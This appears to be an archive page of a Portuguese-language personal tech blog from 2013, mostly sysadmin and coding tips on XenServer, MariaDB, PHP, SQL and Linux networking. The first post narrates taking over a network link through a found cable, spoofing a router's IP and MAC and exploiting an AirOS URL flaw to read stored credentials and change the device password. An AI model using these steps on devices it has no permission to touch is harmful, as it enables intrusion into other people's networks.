BEM VINDO AO BLOG DO MARCOS CARRARO CRIADOR DO "CARRARO DASHBOARD". MUITO MAIS QUE UM SIMPLES BLOG.

quarta-feira, 18 de dezembro de 2013

Quebrando paradigmas - Descobrir ip liberado do AirOS e também explorando falha do AirOS

Buenas,

Casa nova, cabo novo encontrado.... e ainda mais de rede, nada melhor do que passar alguns minutos verificando o que pode estar passando por ali...

De primeira instancia o cabo de rede plugado e o meu querido linux não pegava IP, ok mais do que previsto, proximo passo vamos verificar pois em AP provavelmente vai ter um HUB então HUB é burro e com isso qualquer pacote que for ou chegar na REDE devera gritar no HUB, com isso consigo pegar o IP...

Então bora rolar "# tcpdump -i etho -vvv" e adivinhem nada!!! Esta cabo esta direto ligado em um aparelho, mas que aparelho....

Então espere mais um pouco e mais um pouco...

Algumas linhas de tcpdump e então percebi que aparecia o NOME do router IP do mesmo...

"
23:15:32.622291 CDPv1, ttl: 120s, checksum: 376 (unverified), length 78
Device-ID (0x01), length: 20 bytes: 'NOME_DO_ROUTER'
Address (0x02), length: 13 bytes: IPv4 (1) 192.168.2.1 <-- IP do Router
Capability (0x04), length: 4 bytes: (0x00000001): Router
Version String (0x05), length: 9 bytes:
 XM.v5.3.3
Platform (0x06), length: 3 bytes: 'LM5'
unknown field type (0xff), length: 1 byte:

"

Então esperei mais um pouco e peguei o MAC deste cara...

O que eu fiz na verdade foi, setar o ip do router no meu notebook juntamente do MAC do router, com isso o trafego veio para a minha maquina, com isso o tcpdump rodando sempre, percebi que existia várias requisições de ARP para um determinado IP 192.168.2.2...

Então relacionei que o IP do host liberado era 192.168.2.2, show de boletas, já tinha o IP liberado, então setei o mesmo no notebook, adivinha... conseguia pingar o router, primeiro passo concluído,  agora so me restava saber se este IP também poderia ser um gateway... então adivinhe "route add default gw 192.168.2.1" e um ping "8.8.8.8" com resposta, isso é muito bom...

A partir disso vamos ver o que roda neste ip 192.168.2.1..

#nmap -sS 192.168.2.1

Existe uma porta 80 e um hardware possivelmente Ubquiti, opa então bora...

http://192.168.2.1

Show de bola, acessou, então eu sabia de tempos que tem uma falha no AirOS, revirei meus documentos e encontrei...

É uma manipulação de arquivos a partir da URL...

http://192.168.2.1/admin.cgi/cg.css

a parte /admin.cgi/cg.css é o arquivo que permite injetar comandos do tipo, ls, cd, cat.....

Alguns arquivos legais...

// Tem usuário e senha armazenados
cat /etc/default.cfg

Neste arquivo temos a senha default que é:
user: ubnt
senha: ubnt
SenhaCriptografada: users.1.password=VvpvCwhccFv6Q

O que eu fiz foi, efetuar o download do arquivo /tmp/system.cfg, alterar a senha, então efetuar upload novamente do arquivo.

Escrever as configurações do arquivo que eu efetuei upload e assim alterar a senha.
# cat /tmp/upload/system.cfg > /tmp/system.cfg

Aplicar a configuração no router com a minha senha, sem alterar a configuração do restante.
# cfgmtd -f /tmp/system.cfg -w && reboot


Abraços
Marcos Carraro
Read More

quarta-feira, 27 de novembro de 2013

PHP Escrever em Imagem com Fonte diferente + Tamanho Fonte.

Buenas,

Hoje tivemos que montar um esquema para assinaturas dos e-mails, então nada melhor do que criar algo mais automatizado.

<?php

//Carregar imagem tamanho da imagen = 515x76
$rImg = ImageCreateFromJPEG("logo3.jpg");

//Definir cor
$cor = imagecolorallocate($rImg, 0, 0, 0);

// carregar fonte...
$font_file = './Museo300-Regular.otf';

//Escrever nome
$texto0  = "--";
$texto1  = "NOMEEEE";
$texto2 = "EMAILLLL";
$texto3 = "Fone: -------------";
$texto4 = "SITEEEEEEEEEEEEE";


// IMAGEM, TAMANHO_FONTE, 0, POSICAO X, posicao Y, TEXTO_COR, ARQ_FONTE, TEXTO
imagettftext($rImg, 10, 0, 10, 5, $cor, $font_file, $texto0);
imagettftext($rImg, 14, 0, 25, 17, $cor, $font_file, $texto1);
imagettftext($rImg, 12, 0, 25, 35, $cor, $font_file, $texto2);
imagettftext($rImg, 12, 0, 25, 52, $cor, $font_file, $texto3);
imagettftext($rImg, 12, 0, 25, 70, $cor, $font_file, $texto4);



//Header e output
header('Content-type: image/jpeg');
imagejpeg($rImg,"logos/LOGO_".$texto2.".jpg",500);
imagedestroy($rImg);
header('Location: logos/LOGO_'.$texto2.'.jpg');

?>
Read More

segunda-feira, 25 de novembro de 2013

Oracle 11g Express + SQL Developer no Windows X64.

Buenas,

Para download do Oracle Express : http://www.oracle.com/technetwork/products/express-edition/downloads/index.html

para Download do SQL Developer : http://www.oracle.com/technetwork/developer-tools/sql-developer/downloads/index.html

Ao instalar o Oracle Express, ele vai retornar um erro que não foi possível acessar, pois ele não existe. Para resolver este  problema é batata!

O erro apresentando é este ali de cima.

para isto, entre no regedit.

Vá neste destino.


Altera a chave de numero 1. Nela insira o caminho da tela acima do erro, porém repare que no meu caso ficou c:\users\Marcos onde marcos é o nome da conta de usuário do meu notebook.


Feito isto, a instalação vai proceder normalmente.

Ao tentar abrir o atalho conceitos básicos do oracle, vai ter problemas.. como este.


Calma, mais um que vai ser batata de resolver.

Apenas altera o caminho...
Acesse: C:\oraclexe\app\oracle\product\11.2.0\server

Onde vai ter um atalho chamado "Get_Started" um atalho para um site, botão direito, e altera a url para:

http://127.0.0.1:8080/apex/f?p=4950

Aqui já esta tudo rodando perfeito...



Bora Instalar o SQL Developer.


Este é barabada, baixa a versão com JDK incluso, caso baixar não incluso, primeiro instala o JDK x32, e por ultimo inicie o sql-developer.

Forte quebra costelas,
marcos carraro.
Read More

quarta-feira, 13 de novembro de 2013

Consultas Avançadas SQL - group_concat if/else

Buenas,

Hoje vai algumas dicas de consultas em SQL, muitas dicas legais...

Primeiro de tudo vamos verificar o group_concat();

- A consulta normal retorna...

MariaDB [db_painel]> select * from tb_ips;
+-------+---------------+------------+-------------------+-----------------------+------+
| id_ip | range_ip      | mascara_ip | host              | descricao_ips         | tipo |
+-------+---------------+------------+-------------------+-----------------------+------+
|     2 | 192.168.1.0   |          7 | NULL              | Rede Interna          | r    |
|     6 | 10.0.0.1      |         14 | fw                | Firewall principal    | h    |
|    10 | 192.168.1.101 |         14 | oracle            | Servidor Oracle Focco | h    |
|    11 | 10.0.0.0      |         10 | NULL              | DMZ                   | r    |
|    12 | 172.16.1.0    |          8 | NULL              | EXTERNA               | r    |
|    13 | 192.168.1.120 |          8 | bkp               | Servidor de bkp       | h    |
|    14 | 0.0.0.0       |          1 | NULL              | QUALQUER REDE         | r    |
|    15 | 201.2.55.99   |         15 | NULL              | LINK 2                | r    |
|    16 | 172.16.1.1    |          8 | TS                | TS w2k8 SERVER2       | h    |
|    17 | 8.8.8.8       |          1 | google-dns        | google-dns            | h    |
|    18 | 8.8.4.4       |         15 | google-dns2-teste | google-dns2-teste     | h    |
+-------+---------------+------------+-------------------+-----------------------+------+
11 rows in set (0.00 sec)


Repare que os ips tem um tipo R para REDE e H para HOST, então vamos agrupar tudo que for HOST e tudo que for REDE.

MariaDB [db_painel]> select tipo,group_concat(descricao_ips,'=',range_ip,'  ') as grupos from tb_ips group by tipo;
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| tipo | grupos                                                                                                                                                                            |
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| h    | google-dns2-teste=8.8.4.4  ,google-dns=8.8.8.8  ,TS w2k8 SERVER2=172.16.1.1  ,Servidor de bkp=192.168.1.120  ,Servidor Oracle Focco=192.168.1.101  ,Firewall principal=10.0.0.1   |
| r    | EXTERNA=172.16.1.0  ,DMZ=10.0.0.0  ,QUALQUER REDE=0.0.0.0  ,LINK 2=201.2.55.99  ,Rede Interna=192.168.1.0                                                                         |
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

Então, repare que a query ficou assim.
> select tipo,group_concat(descricao_ips,'=',range_ip,'  ') as grupos from tb_ips group by tipo;

Aqui vamos montar os grupos pelo seu tipo, então tudo que for do tipo 'H' vai concatenar pela descricao+IP, e dando um espaço.

Se for usar em alguma pagina php, ou html pode fazer a quebra 
> select tipo,group_concat(descricao_ips,'=',range_ip,'<br>') as grupos from tb_ips group by tipo;


-- if/else no sql
Na verdade aqui vamos utilizar o 'case' do mysql, ele fica mais fácil de entender em uma grande consulta.

Vamos fazer da seguinte maneira, se for do tipo H vai mostrar HOST, se for do tipo R vai mostrar REDE.

MariaDB [db_painel]> select (CASE WHEN tipo='r' then 'REDE' ELSE 'HOST' END) AS TIPO_DECODE,tipo from tb_ips;
+-------------+------+
| TIPO_DECODE | tipo |
+-------------+------+
| REDE        | r    |
| HOST        | h    |
| HOST        | h    |
| REDE        | r    |
| REDE        | r    |
| HOST        | h    |
| REDE        | r    |
| REDE        | r    |
| HOST        | h    |
| HOST        | h    |
| HOST        | h    |
+-------------+------+
11 rows in set (0.00 sec)

Então a clausula CASE funciona da seguinte maneira.
(CASE WHEN tipo='r' THEN 'REDE'   // Se tipo for igual a R então imprime REDE

ELSE 'HOST'  // Se não for do tipo R no caso vai ser do tipo H, então por sua vez imprime HOST

END) // Finaliza o bloco.

Você pode estar se pensando e se quero validar mais informações.... poderia implementar um case dentro do outro...


(CASE WHEN tipo='r' THEN 'REDE' 
ELSE (  (CASE WHEN tipo='h' THEN 'HOST' 
       ELSE 'TIPO DESCONHECIDO'  
       END)  )  
END) 

Repare que aqui já temos os dois CASE dentro um do outro, e assim pode fazer uma pilha....

SQL ainda tem muito mais funções, é espetacular...

Vale lembrar que quanto menos linhas de código o sistema tiver mais performático ele vai ser, pois são menos tratamentos na programação para validar os dados.

abraços
marcos carraro.

Read More

segunda-feira, 4 de novembro de 2013

Botando para Funcionar zend-framework 2 + apache + mariadb + Criação de Modulos + NetBeans no Fedora 19

Buenas,

Decide começar a estudar o zf2, então nada melhor do que colocá-lo para funcionar.

Então bora lá.

# yum install httpd mariadb mariadb-server php php-common php-pecl-apc php-cli php-pear php-pdo php-mysqlndphp-pecl-memcache php-pecl-memcached php-gd php-mbstring php-mcrypt php-xml phpMyAdmin git

Feito isso já temos o webserver rodando, com Apache,PHP,MariaDB,phpMyAdmin.

Agora vamos instalar o tão falado zend framework 2.

Já tenha instalado o NetBeans 7.4

Verifique se já não esta instalado o ZF2.
Caso ele não esteja já instalado, seleciona a aba Plug-ins Disponíveis e lá procure por 'zend' e instale os pacotes php-zend framework e zend framework2.

Feito esta configuração, precisamos do "esqueleto" do FZ2, para isso no NetBeans selecione "Ferramentas -> Opções"

Repare que já tem o link para download, faz o download e selecione o mesmo.
Para os apreçados https://github.com/zendframework/ZendSkeletonApplication/archive/master.zip

Porém ainda fala configurar o composer, o composer no netbeans serve para indicar as bibliotecas que o zend vai precisar, para isso.

cd /usr/sbin ; php -r "eval('?>'.file_get_contents('https://getcomposer.org/installer'));"

Ao finalizar a instalação, no netbeans devemos fazer a busca do composer. Em: "Ferramentas -> Opções -> Aba Composer (Pesquisar)"


Então agora chegou a hora de criar o nosso novo projeto.

Vá em novo-projeto selecione PHP, informe os dados necessários, porém ao chegar no fim vai ter o php-frameworks, selecione zend2-framework.

Aguarde alguns instantes e seu projeto já estará pronto.

Após ~5min ta pronto, você é obrigado a visualizar esta tela, se estiver visualizando parabéns o zend esta ok.

Acesse a máquina...
por...

http://ip_da_maquina/zend-dev/public

Obs:. zend-dev é o nome do projeto que eu dei para meus estudos.

Como o zend utiliza MVC, ele mantem já uma estrutura para isso.


Vamos criar então alguns módulos.

para criar esta módulos nos precisamos utilizar o zftool.

Para isso.

# cd /usr/sbin

# composer.phar require zendframework/zftool:dev-master

# cd /var/www/html/Dropbox/zend-dev
Esta é a pasta principal do meu projeto.

Vamos criar o modulo chamado cadastro_uf
# php ./vendor/bin/zf.php create module cadastro_uf /var/www/html/Dropbox/zend-dev/

Para confirmar verifique em...
# ls -la

# ls module/
Application
Cadastro_uf

Bueno, agora o que me restas é estudar mais para começar a programar e criar as classes, as view, templates... e bora lá.

abraços

Referencias:


Read More

quarta-feira, 30 de outubro de 2013

Erro MariaDB/Mysql com MysqlWorkbench mysql.proc

Buenas,

Se você esta tendo problemas ao sincronizar o modelo que esta no workbench com o DB, o mesmo retorna o seguinte erro.

"Exception: Cannot load from mysql.proc. The table is probably corruptedFetching schema list"

Para resolver é simples.

No linux entre com o comando.

# mysql_upgrade -u root -p

Feito isso é so correr para o abraço.

abraços!
marcos carraro
Read More

sexta-feira, 25 de outubro de 2013

MariaDB no Centos 6.4 x64

Buenas,

Que tal migrar para MariaDB???

Bora lá.

# cd /etc/yum.repos.d/
# vim MariaDB.repo

Cole o seguinte conteúdo.

# MariaDB 10.0 CentOS repository list - created 2013-10-25 17:24 UTC
# http://mariadb.org/mariadb/repositories/
[mariadb]
name = MariaDB
baseurl = http://yum.mariadb.org/10.0/centos6-amd64
gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
gpgcheck=1

# yum clean all
# yum update

# yum remove mysql mysql-server

# yum install MariaDB-server MariaDB-client MariaDB-cassandra-engine

Pergunta: Mas Marcos eu não uso centos!
Resposta: Meu caro amigo(a) então.
https://downloads.mariadb.org/mariadb/repositories/


Abraços
Marcos Carraro.


Read More

quinta-feira, 10 de outubro de 2013

Backup Postgresql Remotamente

Buenas,

Hoje lembrei-me que deveria fazer backup da pequena base do BI que esta no postgresql... então nada melhor do que por a mão na massa.

Meu servidor de backup é um ML110 onde já tem várias rotinas de Backup, sim eu não tenho um servidor de backup, não utilizo nenhum software de backup, e muito bem tenho meus scripts que até hoje nunca me deixaram na mão, com isso eu tenho uma maleabilidade dos backups tudo na mão, diferente dos programas que já me deixaram na mão, talvez por não saber utilizar ou, bueno vamos ao que interessa.

Pacotes necessários
Centos 6.4 x64

Download do repostitorio do postgresql
# rpm -Uvh http://yum.postgresql.org/9.3/redhat/rhel-6-x86_64/pgdg-centos93-9.3-1.noarch.rpm
# yum update

Vamos apenas instalar os binários básicos para a manutenção do banco remotamente.
#  yum install postgresql92 postgresql92-libs

Então já esta tudo instalado, não vou explicar como fazer o postgresql liberar o acesso remoto!

Comando para executar o bkp

# pg_dump -C -h IP_DO_SERVIDOR -U USUARIO_DO_DB DB_NAME > bkp.sql

Bueno, com isso já é possível executar o bkp do seu PostgreSQL...

abraços



Read More

sexta-feira, 4 de outubro de 2013

jquery disable ctrl key and disable right click mouse / Jquery desabilitar ctrl e botão direito do mouse

Buenas,

Alguns minutos desenvolvendo o script, os códigos são da tabela ascii

http://www.theasciicode.com.ar/ascii-printable-characters/lowercase-letter-a-minuscule-ascii-code-97.html



<script type='text/javascript'>
    function bloqueia_mouse_teclado() {

        // CTRL V v
        $(document).ready(function() {
            $(document).keydown(function(event) {
                if (event.ctrlKey == true && (event.which == '118' || event.which == '86')) {
                    event.preventDefault();
                }
            });
        });

        // CTRL C c
        $(document).ready(function() {
            $(document).keydown(function(event) {
                if (event.ctrlKey == true && (event.which == '97' || event.which == '67')) {
                    event.preventDefault();
                }
            });
        });

        // CTRL U u
        $(document).ready(function() {
            $(document).keydown(function(event) {
                if (event.ctrlKey == true && (event.which == '85' || event.which == '117')) {
                    event.preventDefault();
                }
            });
        });

        // CTRL A a
        $(document).ready(function() {
            $(document).keydown(function(event) {
                if (event.ctrlKey == true && (event.which == '65' || event.which == '97')) {
                    event.preventDefault();
                }
            });
        });

        // CTRL S s
        $(document).ready(function() {
            $(document).keydown(function(event) {
                if (event.ctrlKey == true && (event.which == '83' || event.which == '115')) {
                    event.preventDefault();
                }
            });
        });

        // CTRL X x
        $(document).ready(function() {
            $(document).keydown(function(event) {
                if (event.ctrlKey == true && (event.which == '88' || event.which == '120')) {
                    event.preventDefault();
                }
            });
        });

        // CTRL J j
        $(document).ready(function() {
            $(document).keydown(function(event) {
                if (event.ctrlKey == true && (event.which == '74' || event.which == '106')) {
                    event.preventDefault();
                }
            });
        });



        // Bloquear botão direito do mouse
        $(document).bind("contextmenu", function(e) {
            return false;
        });
    }


    bloqueia_mouse_teclado();
</script>
Read More

segunda-feira, 16 de setembro de 2013

Instalando Wireless USB ASSUS USB-N10 e Configurando rede Wireless Centos 6.4

Buenas,
Estou montando um projeto bala na empresa, e tive muitas dificuldades em deixar o centos iniciar a placa de rede wireless bem, então segue uma pequena documentação de como instalar o adaptador wireless.

Primeiro de tudo instalando dependências para compilar o driver do adaptador...

A distro é Centos 6.4 x32 minimalinstall

# yum groupinstall "Development Tools"

# yum update kernel

# yum install rpm-build redhat-rpm-config asciidoc hmaccalc perl-ExtUtils-Embed xmlto kernel-headers kernel-debug kernel-devel wireless-tools wpa_supplicant vim usbutils ncurses-devel

# cd /tmp

# wget ftp://WebUser:wK9xBuD5@202.134.71.21/cn/wlan/RTL819xSU_usb_linux_v2.6.6.0.20120405.zip

# unzip RTL819xSU_usb_linux_v2.6.6.0.20120405.zip

# cd rtl8712_8188_8191_8192SU_usb_linux_v2.6.6.0.20120405

# chmod +x install.sh

# ./install.sh

# modprobe 8712u


// Criando o arquivo de configuração da wireless.
# wpa_passphrase MEUSSID minhasenha

// A saida vai ser algo parecida...
network={
        ssid="MEUSSID"
        #psk="minhasenha"
        psk=e0bb6561bf4d3ffa
}

// Copie a saida e cole em /etc/wpa_supplicant/wpa_supplicant.conf
# vim /etc/wpa_supplicant/wpa_supplicant.conf
// Aproveite e comente a linha...
#ctrl_interface_group=wheel

// Criando o arquivo para conexão.

#vim  /etc/sysconfig/network-scripts/ifcfg-wlan1
// Adicione o seguinte conteudo
DEVICE=wlan1
IPV6INIT=no
BOOTPROTO=dhcp
HWADDR=10:BF:48:50:3C:69
NM_CONTROLLED=yes
ONBOOT=yes
TYPE=Wireless
ESSID="MEUSSID"
CHANNEL=11
MODE=Managed
WPA=yes


// Efetue as alterações como as abaixo.
# cat /etc/sysconfig/wpa_supplicant
# Use the flag "-i" before each of your interfaces, like so:
#  INTERFACES="-ieth1 -iwlan0"
INTERFACES="-iwlan1" // AQUI é O NOME DA MINHA PLACA WIRELESS

# Use the flag "-D" before each driver, like so:
#  DRIVERS="-Dwext"
DRIVERS="-Dwext" // INSIRA

# Other arguments
#   -u   Enable the D-Bus interface (required for use with NetworkManager)
#   -f   Log to /var/log/wpa_supplicant.log
#   -P   Write pid file to /var/run/wpa_supplicant.pid
#        required to return proper codes by init scripts (e.g. double "start" action)
#        -B to daemonize that has to be used together with -P is already in wpa_supplicant.init.d
OTHER_ARGS="-dd -u -f /var/log/wpa_supplicant.log -P /var/run/wpa_supplicant.pid" // INSIRA

// Por fim deixar o serviço do wpa ativo...
 # chkconfig wpa_supplicant on


Abraços Marcos Carraro.





Read More

sexta-feira, 13 de setembro de 2013

Que tal bloquear os principais IPS atacantes do mundo???

O site é este
http://isc.sans.org/sources.html

O scripte é este.

cd /tmp
wget http://isc.sans.org/sources.html --quiet
if [ $? -ne 0 ]
then
 echo "Erro ao tentar efetuar download."
 exit 1
fi
for bad_ip in $(cat /tmp/sources.html |grep ipinfo |sed -e "s/.*ip\=\(.*\)\">.*/\1/g" | sed -e 's/^[0]*//' -e 's/\.[0]*/\./g')
do
 iptables -A INPUT -s $bad_ip -j DROP
done
rm /tmp/sources.html*
Read More

DDOS Do navegador??

Você sabe quantas conexões o seu navegador abre ao acessar um determinado site??? Não então conheça este belo sistema que mostra o ranking dos navegadores, suas conexões abertas...

http://www.browserscope.org/?category=network

Pergunta- Porque você deve ler e conhecer este site?
Resposta- Porque você vai montar algumas regras no seu Firewall nas quais deve saber que o minimo que um IP pode abrir de conexões apenas acessado seu site pode ser de 6 e pode chegar a 60, baseado nestes calculos você sabe que suas regras deveram ser altamentes 'perfumadas' para que nenhum usuário do IE9Mobile caia na sua malha fina.

leia também. http://marcoscarraro.blogspot.com.br/2013/09/que-tal-bloquear-os-principais-ips.html

Abraços Marcos Carraro.
Read More

terça-feira, 10 de setembro de 2013

Cabeamento Estruturado - Videos



Read More

Citrix XenServer - Placa de Video memoria e qualidade video 32bpp

Buenas,

Quem já instalou o XenServer e precisou melhorar a parte gráfica devido algum software não rodar em 24bpp que é o padrão da placa de vide-o 'cirrus' sabe a dor que foi encontrar uma solução.

Então segue informações para efetuar estas melhorias.

Placas de Vídeo suportadas
std - Placa de Vídeo que ira suportar maiores resoluções e 32bits 16mb de memoria
cirrus - Placa de Vídeo padrão linux/windows consegue utilizar porém 24bits e 8mb de memoria
vmware - Placa de Vídeo da Vmware para rodar ela precisa do pacote Vmware-Tools da Vmware.
qxl - Placa de Vido do SPICE.

Para alterar a placa de video execute o seguinte comando.

[root@localhost ~]# xe vm-param-set uuid=...... platform:vga=std
// Repare que o uuid esta com pontos '....' troque estes pontos pelo uuid da sua VM.

 [root@localhost ~]#xe vm-param-set uuid=...... platform:videoram=32
// Mesmo processo acima, aqui estamos incrementando a memoria de vide-o.

Feito esta alterações reinicie a VM e perceba que a mesma já apta a receber os novos parâmetros.

Abraços
Marcos Carraro.

Read More

terça-feira, 27 de agosto de 2013

DVR VID8 - Conectando Telnet - efetuando bkp

Buenas Galera,

Tenho um DVR da VID8 para suporte de 16 cameras, acredito que os procedimentos aqui citados são padrão para todos.

Todo equipamento deve ter um IP, se for rodar um NMAP no IP vai perceber que existe uma porta telnet aberta.

Então bora lá.

# telnet 192.168.1.120

// Vai solicitar usuário e senha
User: root
Pass: não existe apenas pressionar enter.

Ao logar é algum linux HiLinux muito seco, uma porcaria....

Precisei montar um diretório NFS no DVR, então já tenho o Centos configurado para NFS server.

No DVR para conectar ao NFS utilize.

# mount -t nfs -o nolock 192.168.1.1:/bkp /mnt

Porém para efetuar isso automaticamente percebi que a arquitetura do cara inicia um script chamado dvr.sh fica em /home/.

# cd /home/
# chmod 777 dvr.sh
# vi dvr.sh

// Insira
mount -t nfs -o nolock 192.168.1.1:/bkp /mnt

Efetue as alterações necessárias este script é carregado automaticamente ao iniciar o SO.

esc
:wq!

-----------------

O script de backup ficou assim.

ANO=`date +%Y`
DIA=`date +%d`
MES=`date +%m`

DIA=`expr $DIA - 1`
if [ $DIA -eq 0 ]; then
        MES=`expr $MES - 1`
        if [ $MES -eq 0 ]; then
                MES=12
                ANO=`expr $ANO - 1`
        fi
                DIA=`cal $MES $ANO`
                DIA=`echo $DIA | awk '{ print $NF }'`
fi

DIRETORIO_DST='/mnt/'
DIRETORIOS_SRC='/hdd*'

NOME_ARQ_BKP=`date +%d-%m-%Y`

mkdir $DIRETORIO_DST$NOME_ARQ_BKP

find $DIRETORIOS_SRC -iname "$ANO$MES$DIA*"  -exec mv {} $DIRETORIO_DST$NOME_ARQ_BKP \;


Abraços
Marcos Carraro.
Read More

quinta-feira, 15 de agosto de 2013

Xenserver - Boot CD em VM com Linux

Buenas,

Ao instalar o Linux em uma VM do Xen, automaticamente a ordem de boot fica fixa para iniciar pelo disco. Porém as vezes temos a necessidade de iniciar pelo CD/DVD para resolver este problema segue algumas linhas...

// Listar as VMS
# xe vm-list

// Ao pegar o UUID da VM insira na seguinte linha, assim forçamos que a VM vai passar a iniciar pela sequencia que nos definiremos pelo XenCenter.
# xe vm-param-set HVM-boot-policy="BIOS order" uuid=UUID___VM_____

// Inserir a ISO no drive de DVD/CD
# xe vm-cd-insert cd-name=ARQUIVO.ISO uuid=UUID___VM_____

// Remover a ISO no drive cd DVD/CD
# xe vm-cd-eject uuid=UUID___VM_____

// Feito toda alteração, iniciado pelo CD, problemas resolvidos, é hora de voltar a configuração normal.
# xe vm-param-set HVM-boot-policy="" uuid=UUID___VM_____

Abraços



Read More

terça-feira, 13 de agosto de 2013

Xenserver - Adicionando disco físico e apresentando para VMs

Buenas,
Hoje tive que fazer uma loucura e adicionar um disco de alguns TB em um servidor, o mesmo servidor tem controladora RAID, na controladora RAID deixei o disco como RAID-0, barbada até ali.
Porém este servidor tem Xenserver 6.2 instalado, tive que apresentar este disco para as VMS. Então vamos lá.

No xenserver console.

// Listar discos
# fdisk -l

Disk /dev/cciss/c0d1: 1500.2 GB, 1500268355584 bytes
256 heads, 63 sectors/track, 181684 cylinders
Units = cylinders of 16128 * 512 = 8257536 bytes

           Device Boot      Start         End      Blocks   Id  System
/dev/cciss/c0d1p1   *           1      181689  1465138583+  ee  EFI GPT

Repare que este disco tem 1,5TB, e o pai é /dev/cciss/c0d1 já o filho é /dev/cciss/c0d1p1 . Temos que criar uma tabela para o mesmo.

# fdisk /dev/cciss/c0d1

// Apagar as partições
Command (m for help): d
Selected partition 1

// Listando como ficou
Command (m for help): p

Disk /dev/cciss/c0d1: 1500.2 GB, 1500268355584 bytes
256 heads, 63 sectors/track, 181684 cylinders
Units = cylinders of 16128 * 512 = 8257536 bytes

           Device Boot      Start         End      Blocks   Id  System


// Criando a tabela ou patição
Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-181684, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-181684, default 181684):
Using default value 181684


// Listando como ficou
Command (m for help): p

Disk /dev/cciss/c0d1: 1500.2 GB, 1500268355584 bytes
256 heads, 63 sectors/track, 181684 cylinders
Units = cylinders of 16128 * 512 = 8257536 bytes

           Device Boot      Start         End      Blocks   Id  System
/dev/cciss/c0d1p1               1      181684  1465099744+  83  Linux


// Salvando configuração
Command (m for help): w
The partition table has been altered!


// Agora vem o pulo do gato, criar o "storage", e apresentar para o Xenserver
xe sr-create name-label="NOME_DO_STORAGE" content-type=user type=lvm device-config:device=/dev/cciss/c0d1p1           <- Tabela do Disco.


Por fim é so conferir no xenserver e ta na mão....

Forte Abraço
Marcos Carraro
Read More

terça-feira, 16 de julho de 2013

Tela Azul no Windows após upgrade XenServer 6.2

Mais uma dica de minuto...

- Problema
VM com windows 2008 R2 instalado rodando perfeito na versão 5.6, migrado o servidor hospedeiro para XENSERVER 6.2, ao iniciar a maquina tela azul, e morte para tudo que é lado, motivo disso é o XENTOOLS.

- Resolvendo
Barbada mesmo...
// Pegando o UUID da VM.
# xe vm-list
uuid ( RO)           : e86c1621-56ee-9f86-371b-860ab8d3bf35
     name-label ( RW): 2008_OLD
    power-state ( RO): running

// Vamos iniciar esta VM no modo seguro que o proprio xenserver tem.
# xe vm-param-set uuid=e86c1621-56ee-9f86-371b-860ab8d3bf35 platform:device_id=0001
// Caso esse não der certo.
# xe vm-param-set uuid=e86c1621-56ee-9f86-371b-860ab8d3bf35 platform:device_id=0002


Aquele abraço.
Marcos Carraro
Read More

INVALID_SOURCE Unable to Boot from CD/DVD - Erro XENSERVER

Na corrida uma dica extremamente útil na hora do problema.

- Porque Ocorre???
Ocorre normalmente quando migramos a VM para outro servidor, mais especificamente maquinas LINUX.

- Como resolver?
// Listanto as vms.
# xe vm-list
uuid ( RO)           : 952f15dd-1757-8208-1a6f-22181c05144f
     name-label ( RW): CENTOS_LAB
    power-state ( RO): running


// Pegar o UUID da VM com o problema, feito isso vamos litar a ordem do boot.
# xe vm-param-list uuid=952f15dd-1757-8208-1a6f-22181c05144f | grep HVM-boot

// Alterar a ordem do boot
# xe vm-param-set uuid=952f15dd-1757-8208-1a6f-22181c05144f HVM-boot-policy="BIOS order" HVM-boot-params:order="dc"

- Não deu certo?
Se mesmo assim não deu certo, faça ao seguinte, crie a VM novamente, com um disco vazio, manda iniciar pela media do Centos ou do Linux, desligue a mesma, e agora manda atachar o disco com o SO, pronto solução pronta.

Forte Abraço
Marcos Carraro.

Read More

terça-feira, 21 de maio de 2013

LDAPADMIN ERRO SYNTAX DN

Buenas Galera,

Hoje estava aqui fazendo algumas coisas com LDAP, pois nunca tinha mexido a fundo nesta ferramenta, e que por ventura é muito boa, e já estou tendo idéias, porém queria utilizar uma ferramenta para gerenciar, o LdapAdmin, para windows, porém o mesmo precisa utilizar autenticação para poder efetuar alterações  porém o meso voltava erro de invalido DN. Para resolver este pequeno problema é barbada.



Abraços
Read More

quarta-feira, 15 de maio de 2013

Instalando Java | Habilitando no Navegador | Ubuntu 13.04


Um pequeno esboço de instalação do java no ubuntu e habilitar o mesmo no google-chrome

#!/bin/bash

#
# Instalador Java para google-chrome ubuntu
#
DIRETORIO_JAVA_DOWNLOAD="/home/marcos/Downloads/jre-7u21-linux-i586.tar.gz"

tar -xvsf $DIRETORIO_JAVA_DOWNLOAD -C /usr/local/

mkdir /opt/google/chrome/plugins

ln -s /usr/local/jre1.7.0_21/lib/i386/libnpjp2.so /opt/google/chrome/plugins/


Abraços
Marcos Carraro
Read More

quarta-feira, 8 de maio de 2013

Range de IPS de alguns serviços importantes no mundo de hoje!!!

Buenas,

- Facebook
69.171.224.0/24
74.119.76.0/24
204.15.20.0/24
66.220.144.0/24
69.63.176.0/24

- Myspace67.134.143.0/24
204.16.32.0/24
216.178.32.0/24
63.135.80.0/24

- Caixa200.201.160/20

- Hotmail64.4.0.0/18
207.46.0.0/16

- Skype64.4.23.0/24
65.55.223.0/24
111.221.74.0/24
111.221.77.0/24
157.55.56.0/24
157.55.130.0/24
157.55.235.0/24
157.56.52.0/24
213.199.179.0/24

Se alguém tiver mais IPs que sejam de serviços importantes e quiserem compartilhar...

Abraços
Read More

sexta-feira, 26 de abril de 2013

Função Shell-Script verifica volume montado.

Buenas,

Dica bem simples.

Se o volume estiver montado, sai, caso contrário monta o mesmo. Lembrando que no fstab já esta indicado o volume de montagem.


verifica_montagem (){
VERIFICA=`df -h | grep "/media/servidor_2008" | wc -l`
if [ $VERIFICA -gt 0 ];
then
        exit 0
else
        /bin/mount -a
fi
}


Abraços
Marcos Carraro
Read More

sexta-feira, 19 de abril de 2013

Função PHP calcular tempo de carregamento da pagina

Buenas, recentemente tive que fazer com que a pagina me informasse o tempo que levou para fazer a consulta no Banco, Compilar, Exibir para o usuário... então foi a busca, encontrei no site do Jaques (phpit.com.br) um explicação bem simples para fazer a contagem deste tempo, apenas fiz uma incrementação em cima do codigo do Jaques.

Segue a mesma..



function tempo_execucao($texto){
$tempo_carregamento = mktime() - $_SERVER['REQUEST_TIME'];

